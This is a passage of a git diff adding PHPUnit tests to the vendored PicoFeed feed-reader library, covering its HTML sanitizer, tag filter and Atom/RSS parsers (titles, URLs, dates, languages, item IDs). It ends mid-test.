+ $data = '<iframe src="http://www.kickstarter.com/projects/lefnire/habitrpg-mobile/widget/video.html" height="480" width="640" frameborder="0"></iframe>';
+
+ $f = new Html($data, 'http://blabla');
+ $this->assertEmpty($f->execute());
+
+ $data = '<iframe src="http://www.youtube.com/bla" height="480" width="640" frameborder="0"></iframe>';
+
+ $f = new Html($data, 'http://blabla');
+ $this->assertEquals($data, $f->execute());
+ }
+
+ public function testEmptyTags()
+ {
+ $data = <<<EOD
+<div>
+<a href="file://path/to/a/file">
+ <img src="http://example.com/image.png" />
+</a>
+</div>
+EOD;
+ $f = new Html($data, 'http://blabla');
+ $output = $f->execute();
+
+ $this->assertEquals('<img src="http://example.com/image.png"/>', $output);
+ }
+
+ public function testBadAttributes()
+ {
+ $data = '<iframe src="http://www.youtube.com/bla" height="480px" width="100%" frameborder="0"></iframe>';
+
+ $f = new Html($data, 'http://blabla');
+ $this->assertEquals('<iframe src="http://www.youtube.com/bla" frameborder="0"></iframe>', $f->execute());
+ }
+
+ public function testRelativeScheme()
+ {
+ $f = new Html('<a href="//linuxfr.org">link</a>', 'http://blabla');
+ $this->assertEquals('<a href="http://linuxfr.org/" rel="noreferrer" target="_blank">link</a>', $f->execute());
+ }
+
+ public function testAttributes()
+ {
+ $f = new Html('<img src="foo" title="\'quote" alt="\'quote" data-src="bar" data-truc="boo"/>', 'http://blabla');
+ $this->assertEquals('<img src="http://blabla/foo" title="&#039;quote" alt="&#039;quote"/>', $f->execute());
+
+ $f = new Html('<img src="foo&bar=\'quote"/>', 'http://blabla');
+ $this->assertEquals('<img src="http://blabla/foo&amp;bar=&#039;quote"/>', $f->execute());
+
+ $f = new Html("<time datetime='quote\"here'>bla</time>", 'http://blabla');
+ $this->assertEquals('<time datetime="quote&quot;here">bla</time>', $f->execute());
+ }
+
+ public function testCode()
+ {
+ $data = '<pre><code>HEAD / HTTP/1.1
+Accept: text/html
+Accept-Encoding: gzip, deflate, compress
+Host: www.amazon.com
+User-Agent: HTTPie/0.6.0
+
+
+
+<strong>HTTP/1.1 405 MethodNotAllowed</strong>
+Content-Encoding: gzip
+Content-Type: text/html; charset=ISO-8859-1
+Date: Mon, 15 Jul 2013 02:05:59 GMT
+Server: Server
+Set-Cookie: skin=noskin; path=/; domain=.amazon.com; expires=Mon, 15-Jul-2013 02:05:59 GMT
+Vary: Accept-Encoding,User-Agent
+<strong>allow: POST, GET</strong>
+x-amz-id-1: 11WD3K15FC268R5GBJY5
+x-amz-id-2: DDjqfqz2ZJufzqRAcj1mh+9XvSogrPohKHwXlo8IlkzH67G6w4wnjn9HYgbs4uI0
+</code></pre>';
+
+ $f = new Html($data, 'http://blabla');
+ $this->assertEquals($data, $f->execute());
+ }
+
+ public function testRemoveNoBreakingSpace()
+ {
+ $f = new Html('<p>&nbsp;&nbsp;truc</p>', 'http://blabla');
+ $this->assertEquals('<p> truc</p>', $f->execute());
+ }
+
+ public function testRemoveEmptyTags()
+ {
+ $f = new Html('<p>toto</p><p></p><br/>', 'http://blabla');
+ $this->assertEquals('<p>toto</p><br/>', $f->execute());
+
+ $f = new Html('<p> </p>', 'http://blabla');
+ $this->assertEquals('', $f->execute());
+
+ $f = new Html('<p>&nbsp;</p>', 'http://blabla');
+ $this->assertEquals('', $f->execute());
+ }
+
+ public function testRemoveEmptyTable()
+ {
+ $f = new Html('<table><tr><td> </td></tr></table>', 'http://blabla');
+ $this->assertEquals('', $f->execute());
+
+ $f = new Html('<table><tr></tr></table>', 'http://blabla');
+ $this->assertEquals('', $f->execute());
+ }
+/*
+ public function testFilter()
+ {
+ $input = <<<EOD
+<div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/08/06/4694-pluie" alt="Flaque de pluie"/>
+ <figcaption>La Saussaye, France, 6 août 2014</figcaption>
+</figure>
+
+<div lang="en" class="extrait">
+ <blockquote cite="urn:isbn:978-0-8248-3742-6">
+ <p>Spring had truly arrived. Countless streams suddenly materialized all over the roads, fields, grasslands, and thickets; flowing as if the melting snow's waters were spilling over. </p>
+ </blockquote>
+ <p class="source"><span class="auteur">Takiji Kobayashi</span>, <cite class="titre">Yasuko</cite>.</p>
+</div>
+
+<p>La pluie abonde. La forêt humide resplendit. L'eau monte, l'eau déborde. Il reste pourtant notre humanité. Toute entière, resplendissante.</p>
+
+</article>
+</div>
+EOD;
+
+ $expected = <<<EOD
+<figure>
+ <img src="http://www.la-grange.net/2014/08/06/4694-pluie" alt="Flaque de pluie"/>
+ <figcaption>La Saussaye, France, 6 août 2014</figcaption>
+</figure>
+
+
+ <blockquote>
+ <p>Spring had truly arrived. Countless streams suddenly materialized all over the roads, fields, grasslands, and thickets; flowing as if the melting snow&#039;s waters were spilling over. </p>
+ </blockquote>
+ <p>Takiji Kobayashi, <cite>Yasuko</cite>.</p>
+
+
+<p>La pluie abonde. La forêt humide resplendit. L&#039;eau monte, l&#039;eau déborde. Il reste pourtant notre humanité. Toute entière, resplendissante.</p>
+EOD;
+
+ $f = new Html($input, 'http://www.la-grange.net/');
+ $this->assertEquals($expected, $f->execute());
+ }*/
+}
diff --git a/vendor/fguillot/picofeed/tests/Filter/TagFilterTest.php b/vendor/fguillot/picofeed/tests/Filter/TagFilterTest.php
new file mode 100644
index 000000000..86911bbb4
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Filter/TagFilterTest.php
@@ -0,0 +1,33 @@
+<?php
+namespace PicoFeed\Filter;
+
+use PHPUnit_Framework_TestCase;
+
+
+class TagFilterTest extends PHPUnit_Framework_TestCase
+{
+ public function testAllowedTag()
+ {
+ $tag = new Tag;
+
+ $this->assertTrue($tag->isAllowed('p', array('class' => 'test')));
+ $this->assertTrue($tag->isAllowed('img', array('class' => 'test')));
+
+ $this->assertFalse($tag->isAllowed('script', array('class' => 'test')));
+ $this->assertFalse($tag->isAllowed('img', array('width' => '1', 'height' => '1')));
+ }
+
+ public function testHtml()
+ {
+ $tag = new Tag;
+
+ $this->assertEquals('<p>', $tag->openHtmlTag('p'));
+ $this->assertEquals('<img src="test" alt="truc"/>', $tag->openHtmlTag('img', 'src="test" alt="truc"'));
+ $this->assertEquals('<img/>', $tag->openHtmlTag('img'));
+ $this->assertEquals('<br/>', $tag->openHtmlTag('br'));
+
+ $this->assertEquals('</p>', $tag->closeHtmlTag('p'));
+ $this->assertEquals('', $tag->closeHtmlTag('img'));
+ $this->assertEquals('', $tag->closeHtmlTag('br'));
+ }
+}
diff --git a/vendor/fguillot/picofeed/tests/Parser/AtomParserTest.php b/vendor/fguillot/picofeed/tests/Parser/AtomParserTest.php
new file mode 100644
index 000000000..491c7e3e0
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Parser/AtomParserTest.php
@@ -0,0 +1,178 @@
+<?php
+namespace PicoFeed\Parser;
+
+use PHPUnit_Framework_TestCase;
+
+
+class AtomParserTest extends PHPUnit_Framework_TestCase
+{
+ /**
+ * @expectedException PicoFeed\Parser\MalformedXmlException
+ */
+ public function testBadInput()
+ {
+ $parser = new Atom('boo');
+ $parser->execute();
+ }
+
+ public function testFeedTitle()
+ {
+ $parser = new Atom(file_get_contents('tests/fixtures/atom.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('The Official Google Blog', $feed->getTitle());
+
+ $parser = new Atom(file_get_contents('tests/fixtures/atomsample.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('Example Feed', $feed->getTitle());
+ }
+
+ public function testFeedDescription()
+ {
+ $parser = new Atom(file_get_contents('tests/fixtures/atom.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('Insights from Googlers into our products, technology, and the Google culture.', $feed->getDescription());
+
+ $parser = new Atom(file_get_contents('tests/fixtures/atomsample.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('', $feed->getDescription());
+ }
+
+ public function testFeedLogo()
+ {
+ $parser = new Atom(file_get_contents('tests/fixtures/atom.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('', $feed->getLogo());
+
+ $parser = new Atom(file_get_contents('tests/fixtures/bbc_urdu.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('http://www.bbc.co.uk/urdu/images/gel/rss_logo.gif', $feed->getLogo());
+ }
+
+ public function testFeedUrl()
+ {
+ $parser = new Atom(file_get_contents('tests/fixtures/atom.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('http://googleblog.blogspot.com/', $feed->getUrl());
+
+ $parser = new Atom(file_get_contents('tests/fixtures/atomsample.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('http://example.org/', $feed->getUrl());
+
+ $parser = new Atom(file_get_contents('tests/fixtures/lagrange.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('http://www.la-grange.net/', $feed->getUrl());
+ }
+
+ public function testFeedId()
+ {
+ $parser = new Atom(file_get_contents('tests/fixtures/atom.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('tag:blogger.com,1999:blog-10861780', $feed->getId());
+
+ $parser = new Atom(file_get_contents('tests/fixtures/atomsample.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('urn:uuid:60a76c80-d399-11d9-b93C-0003939e0af6', $feed->getId());
+ }
+
+ public function testFeedDate()
+ {
+ $parser = new Atom(file_get_contents('tests/fixtures/atom.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals(1360148333, $feed->getDate());
+
+ $parser = new Atom(file_get_contents('tests/fixtures/atomsample.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals(1071340202, $feed->getDate());
+ }
+
+ public function testFeedLanguage()
+ {
+ $parser = new Atom(file_get_contents('tests/fixtures/atom.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('', $feed->getLanguage());
+ $this->assertEquals('', $feed->items[0]->getLanguage());
+
+ $parser = new Atom(file_get_contents('tests/fixtures/bbc_urdu.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals('ur', $feed->getLanguage());
+ $this->assertEquals('ur', $feed->items[0]->getLanguage());
+
+ $parser = new Atom(file_get_contents('tests/fixtures/lagrange.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals('fr', $feed->getLanguage());
+ $this->assertEquals('fr', $feed->items[0]->getLanguage());
+ }
+
+ public function testItemId()
+ {
+ $parser = new Atom(file_get_contents('tests/fixtures/atomsample.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals('3841e5cf232f5111fc5841e9eba5f4b26d95e7d7124902e0f7272729d65601a6', $feed->items[0]->getId());
+ }
+
+ public function testItemUrl()
+ {
+ $parser = new Atom(file_get_contents('tests/fixtures/atom.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals('http://feedproxy.google.com/~r/blogspot/MKuf/~3/S_hccisqTW8/a-chrome-experiment-made-with-some.html', $feed->items[0]->getUrl());
+ }
+
+ public function testItemTitle()
+ {
+ $parser = new Atom(file_get_contents('tests/fixtures/atom.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals('Safer Internet Day: How we help you stay secure online', $feed->items[1]->getTitle());
+ }
+
+ public function testItemDate()
+ {
+ $parser = new Atom(file_get_contents('tests/fixtures/atom.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals(1360011661, $feed->items[1]->getDate());
+
+ $parser = new Atom(file_get_contents('tests/fixtures/atomsample.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals(1071340202, $feed->items[0]->getDate());
+ }
+
+ public function testItemLanguage()
+ {
+ $parser = new Atom(file_get_contents('tests/fixtures/atom.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals('', $feed->items[1]->getLanguage());
+ }
+
+ public function testItemAuthor()
+ {
+ $parser = new Atom(file_get_contents('tests/fixtures/atom.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals('Emily Wood', $feed->items[1]->getAuthor());
+
+ $parser = new Atom(file_get_contents('tests/fixtures/atomsample.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals('John Doe', $feed->items[0]->getAuthor());
+ }
+
+ public function testItemContent()
+ {
+ $parser = new Atom(file_get_contents('tests/fixtures/atom.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertTrue(strpos($feed->items[1]->getContent(), '<p>Technology can') === 0);
+
+ $parser = new Atom(file_get_contents('tests/fixtures/atomsample.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertTrue(strpos($feed->items[0]->getContent(), '<p>Some text.') === 0);
+ }
+} \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/Parser/ParserTest.php b/vendor/fguillot/picofeed/tests/Parser/ParserTest.php
new file mode 100644
index 000000000..3be864507
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Parser/ParserTest.php
@@ -0,0 +1,75 @@
+<?php
+namespace PicoFeed\Parser;
+
+use PHPUnit_Framework_TestCase;
+
+
+class ParserTest extends PHPUnit_Framework_TestCase
+{
+ public function testParseDate()
+ {
+ $parser = new Rss20('');
+
+ date_default_timezone_set('UTC');
+
+ $this->assertEquals(1359066183, $parser->parseDate('Thu, 24 Jan 2013 22:23:03 +0000'));
+ $this->assertEquals(1362992761, $parser->parseDate('2013-03-11T09:06:01+00:00'));
+ $this->assertEquals(1363752990, $parser->parseDate('2013-03-20T04:16:30+00:00'));
+ $this->assertEquals(1359066183, $parser->parseDate('Thu, 24 Jan 2013 22:23:03 +0000'));
+ $this->assertEquals(1380929699, $parser->parseDate('Sat, 04 Oct 2013 02:34:59 +0300'));
+ $this->assertEquals(1054633161, $parser->parseDate('Tue, 03 Jun 2003 09:39:21 GMT'));
+ $this->assertEquals(1071340202, $parser->parseDate('2003-12-13T18:30:02Z'));
+ $this->assertEquals(1364234797, $parser->parseDate('Mon, 25 Mar 2013 19:06:37 +0100'));
+ $this->assertEquals(1360054941, $parser->parseDate('2013-02-05T09:02:21.880-08:00'));
+ $this->assertEquals(1286834400, $parser->parseDate('Tue, 12 Oct 2010 00:00:00 IST'));
+ $this->assertEquals('2012-05-15', date('Y-m-d', $parser->parseDate('Tue, 15 May 2012 24:05:00 UTC')));
+ $this->assertEquals('2013-09-12', date('Y-m-d', $parser->parseDate('Thu, 12 Sep 2013 7:00:00 UTC')));
+ $this->assertEquals('2012-01-31', date('Y-m-d', $parser->parseDate('01.31.2012')));
+ $this->assertEquals('2012-01-31', date('Y-m-d', $parser->parseDate('01/31/2012')));
+ $this->assertEquals('2012-01-31', date('Y-m-d', $parser->parseDate('2012-01-31')));
+ $this->assertEquals('2010-02-24', date('Y-m-d', $parser->parseDate('2010-02-245T15:27:52Z')));
+ $this->assertEquals('2010-08-20', date('Y-m-d', $parser->parseDate('2010-08-20Thh:08:ssZ')));
+ $this->assertEquals(1288648057, $parser->parseDate('Mon, 01 Nov 2010 21:47:37 UT'));
+ $this->assertEquals(1346069615, $parser->parseDate('Mon Aug 27 2012 12:13:35 GMT-0700 (PDT)'));
+ $this->assertEquals(time(), $parser->parseDate('Tue, 3 Febuary 2010 00:00:00 IST'));
+ $this->assertEquals(time(), $parser->parseDate('############# EST'));
+ $this->assertEquals(time(), $parser->parseDate('Wed, 30 Nov -0001 00:00:00 +0000'));
+ $this->assertEquals(time(), $parser->parseDate('Äet, 24 maj 2012 00:00:00'));
+ $this->assertEquals(time(), $parser->parseDate('-0-0T::Z'));
+ $this->assertEquals(time(), $parser->parseDate('Wed, 18 2012'));
+ $this->assertEquals(time(), $parser->parseDate("'2009-09-30 CDT16:09:54"));
+ $this->assertEquals(time(), $parser->parseDate('ary 8 Jan 2013 00:00:00 GMT'));
+ $this->assertEquals(time(), $parser->parseDate('Sat, 11 00:00:01 GMT'));
+ $this->assertEquals(1370631743, $parser->parseDate('Fri Jun 07 2013 19:02:23 GMT+0000 (UTC)'));
+ $this->assertEquals(1377412225, $parser->parseDate('25/08/2013 06:30:25 Ù…'));
+ $this->assertEquals(time(), $parser->parseDate('+0400'));
+ }
+
+ public function testChangeHashAlgo()
+ {
+ $parser = new Rss20('');
+ $this->assertEquals('fb8e20fc2e4c3f248c60c39bd652f3c1347298bb977b8b4d5903b85055620603', $parser->generateId('a', 'b'));
+
+ $parser->setHashAlgo('sha1');
+ $this->assertEquals('da23614e02469a0d7c7bd1bdab5c9c474b1904dc', $parser->generateId('a', 'b'));
+ }
+
+ public function testLangRTL()
+ {
+ $this->assertFalse(Parser::isLanguageRTL('fr-FR'));
+ $this->assertTrue(Parser::isLanguageRTL('ur'));
+ $this->assertTrue(Parser::isLanguageRTL('syr-**'));
+ $this->assertFalse(Parser::isLanguageRTL('ru'));
+ }
+
+ public function testNamespaceValue()
+ {
+ $xml = XmlParser::getSimpleXml(file_get_contents('tests/fixtures/rue89.xml'));
+ $this->assertNotFalse($xml);
+ $namespaces = $xml->getNamespaces(true);
+
+ $parser = new Rss20('');
+ $this->assertEquals('Blandine Grosjean', XmlParser::getNamespaceValue($xml->channel->item[0], $namespaces, 'creator'));
+ $this->assertEquals('Pierre-Carl Langlais', XmlParser::getNamespaceValue($xml->channel->item[1], $namespaces, 'creator'));
+ }
+}
diff --git a/vendor/fguillot/picofeed/tests/Parser/Rss10ParserTest.php b/vendor/fguillot/picofeed/tests/Parser/Rss10ParserTest.php
new file mode 100644
index 000000000..bc0824502
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Parser/Rss10ParserTest.php
@@ -0,0 +1,112 @@
+<?php
+namespace PicoFeed\Parser;
+
+use PHPUnit_Framework_TestCase;
+
+
+class Rss10ParserTest extends PHPUnit_Framework_TestCase
+{
+ /**
+ * @expectedException PicoFeed\Parser\MalformedXmlException
+ */
+ public function testBadInput()
+ {
+ $parser = new Rss10('boo');
+ $parser->execute();
+ }
+
+ public function testFeedTitle()
+ {
+ $parser = new Rss10(file_get_contents('tests/fixtures/planete-jquery.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals("Planète jQuery : l'actualité jQuery, plugins jQuery et tutoriels jQuery en français", $feed->getTitle());
+ }
+
+ public function testFeedUrl()
+ {
+ $parser = new Rss10(file_get_contents('tests/fixtures/planete-jquery.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('http://planete-jquery.fr', $feed->getUrl());
+ }
+
+ public function testFeedId()
+ {
+ $parser = new Rss10(file_get_contents('tests/fixtures/planete-jquery.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('http://planete-jquery.fr', $feed->getId());
+ }
+
+ public function testFeedDate()
+ {
+ $parser = new Rss10(file_get_contents('tests/fixtures/planete-jquery.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals(1363752990, $feed->getDate());
+ }
+
+ public function testFeedLanguage()
+ {
+ $parser = new Rss10(file_get_contents('tests/fixtures/planete-jquery.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('fr', $feed->getLanguage());
+ $this->assertEquals('fr', $feed->items[0]->getLanguage());
+ }
+
+ public function testItemId()
+ {
+ $parser = new Rss10(file_get_contents('tests/fixtures/planete-jquery.xml'));
+ $parser->disableContentFiltering();
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+
+ $item = $feed->items[0];
+ $this->assertEquals($parser->generateId($item->getTitle(), $item->getUrl(), $item->getContent()), $item->getId());
+ }
+
+ public function testItemUrl()
+ {
+ $parser = new Rss10(file_get_contents('tests/fixtures/planete-jquery.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals('http://www.mathieurobin.com/2013/03/chroniques-jquery-episode-108/', $feed->items[0]->getUrl());
+ }
+
+ public function testItemTitle()
+ {
+ $parser = new Rss10(file_get_contents('tests/fixtures/planete-jquery.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals('LaFermeDuWeb : PowerTip - Des tooltips aux fonctionnalités avancées', $feed->items[1]->getTitle());
+ }
+
+ public function testItemDate()
+ {
+ $parser = new Rss10(file_get_contents('tests/fixtures/planete-jquery.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals(1362647700, $feed->items[1]->getDate());
+ }
+
+ public function testItemLanguage()
+ {
+ $parser = new Rss10(file_get_contents('tests/fixtures/planete-jquery.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals('fr', $feed->items[1]->getLanguage());
+ }
+
+ public function testItemAuthor()
+ {
+ $parser = new Rss10(file_get_contents('tests/fixtures/planete-jquery.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals('LaFermeDuWeb', $feed->items[1]->getAuthor());
+ }
+
+ public function testItemContent()
+ {
+ $parser = new Rss10(file_get_contents('tests/fixtures/planete-jquery.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertTrue(strpos($feed->items[1]->getContent(), '<a href="http://www.lafermeduweb.net') === 0);
+ }
+} \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/Parser/Rss20ParserTest.php b/vendor/fguillot/picofeed/tests/Parser/Rss20ParserTest.php
new file mode 100644
index 000000000..b06821c27
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Parser/Rss20ParserTest.php
@@ -0,0 +1,252 @@
+<?php
+namespace PicoFeed\Parser;
+
+use PHPUnit_Framework_TestCase;
+
+
+class Rss20ParserTest extends PHPUnit_Framework_TestCase
+{
+ /**
+ * @expectedException PicoFeed\Parser\MalformedXmlException
+ */
+ public function testBadInput()
+ {
+ $parser = new Rss20('boo');
+ $parser->execute();
+ }
+
+ public function testFeedTitle()
+ {
+ $parser = new Rss20(file_get_contents('tests/fixtures/rss20.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('WordPress News', $feed->getTitle());
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/pcinpact.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('PC INpact', $feed->getTitle());
+ }
+
+ public function testFeedDescription()
+ {
+ $parser = new Rss20(file_get_contents('tests/fixtures/rss20.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('WordPress News', $feed->getDescription());
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/pcinpact.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('Actualités Informatique', $feed->getDescription());
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/sametmax.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('Deux développeurs en vadrouille qui se sortent les doigts du code', $feed->getDescription());
+ }
+
+ public function testFeedLogo()
+ {
+ $parser = new Rss20(file_get_contents('tests/fixtures/rss20.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('', $feed->getLogo());
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/radio-france.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('http://media.radiofrance-podcast.net/podcast09/RF_OMM_0000006330_ITE.jpg', $feed->getLogo());
+ }
+
+ public function testFeedUrl()
+ {
+ $parser = new Rss20(file_get_contents('tests/fixtures/rss20.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('http://wordpress.org/news', $feed->getUrl());
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/pcinpact.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('http://www.pcinpact.com/', $feed->getUrl());
+ }
+
+ public function testFeedId()
+ {
+ $parser = new Rss20(file_get_contents('tests/fixtures/rss20.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('http://wordpress.org/news', $feed->getId());
+ }
+
+ public function testFeedDate()
+ {
+ $parser = new Rss20(file_get_contents('tests/fixtures/rss20.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals(1359066183, $feed->getDate());
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/fulltextrss.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals(time(), $feed->getDate());
+ }
+
+ public function testFeedLanguage()
+ {
+ $parser = new Rss20(file_get_contents('tests/fixtures/rss20.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('en-US', $feed->getLanguage());
+ $this->assertEquals('en-US', $feed->items[0]->getLanguage());
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/zoot_egkty.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('ur', $feed->getLanguage());
+ $this->assertEquals('ur', $feed->items[0]->getLanguage());
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/ibash.ru.xml'));
+ $feed = $parser->execute();
+ $this->assertEquals('ru', $feed->getLanguage());
+ $this->assertEquals('ru', $feed->items[0]->getLanguage());
+ }
+
+ public function testItemId()
+ {
+ $parser = new Rss20(file_get_contents('tests/fixtures/rss20.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals('de679f14fc4774f0d6dfe73c3f8c8368ab85da18addf101a2af8c32ac6320f9f', $feed->items[0]->getId());
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/pcinpact.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals(hash('sha256', '78872'), $feed->items[0]->getId());
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/fulltextrss.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals(hash('sha256', 'http://www.numerama.com/magazine/25669-brevets-un-juge-doute-de-la-bonne-volonte-de-google-et-apple.html'), $feed->items[0]->getId());
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/debug_show.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals(hash('sha256', '38DC2FF1-4207-4C04-93F3-2DAFB0E559D9'), $feed->items[1]->getId());
+ $this->assertEquals(hash('sha256', '3FA03A63-BEA2-4199-A1E4-D2963845F3F6'), $feed->items[2]->getId());
+ $this->assertEquals($feed->items[1]->getUrl(), $feed->items[2]->getUrl());
+ $this->assertNotEquals($feed->items[1]->getId(), $feed->items[2]->getId());
+ }
+
+ public function testItemUrl()
+ {
+ $parser = new Rss20(file_get_contents('tests/fixtures/rss20.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals('http://wordpress.org/news/2013/01/wordpress-3-5-1/', $feed->items[0]->getUrl());
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/pcinpact.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals('http://www.pcinpact.com/breve/78872-la-dcri-purge-wikipedia-par-menace-bel-effet-streisand-a-cle.htm?utm_source=PCi_RSS_Feed&utm_medium=news&utm_campaign=pcinpact', $feed->items[0]->getUrl());
+ }
+
+ public function testItemTitle()
+ {
+ $parser = new Rss20(file_get_contents('tests/fixtures/rss20.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals('2012: A Look Back', $feed->items[1]->getTitle());
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/womensweardaily.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals('They Are Wearing: Frieze London Photo by Marcus Dawes', $feed->items[3]->getTitle());
+ }
+
+ public function testItemDate()
+ {
+ $parser = new Rss20(file_get_contents('tests/fixtures/rss20.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals(1357006940, $feed->items[1]->getDate());
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/fulltextrss.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals(1365781095, $feed->items[0]->getDate());
+ }
+
+ public function testItemLanguage()
+ {
+ $parser = new Rss20(file_get_contents('tests/fixtures/rss20.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals('en-US', $feed->items[1]->getLanguage());
+ }
+
+ public function testItemAuthor()
+ {
+ $parser = new Rss20(file_get_contents('tests/fixtures/rss20.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals('Jen Mylo', $feed->items[1]->getAuthor());
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/rss2sample.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertEquals('webmaster@example.com', $feed->items[2]->getAuthor());
+ }
+
+ public function testItemContent()
+ {
+ $parser = new Rss20(file_get_contents('tests/fixtures/rss20.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertTrue(strpos($feed->items[1]->getContent(), '<p>Another year is coming') === 0);
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/rss2sample.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertTrue(strpos($feed->items[1]->getContent(), '<p>Sky watchers in Europe') === 0);
+
+ $parser = new Rss20(file_get_contents('tests/fixtures/ibash.ru.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
+ $this->assertTrue(strpos($feed->items[0]->getContent(), '<p>Хабр, обÑуждение фейлов на работе: reaferon: Интернет') === 0);
+ }
+
+ public function testItemEnclosure()
+ {
+ $parser = new Rss20(file_get_contents('tests/fixtures/rue89.xml'));
+ $feed = $parser->execute();
+ $this->assertNotEmpty($feed->items);
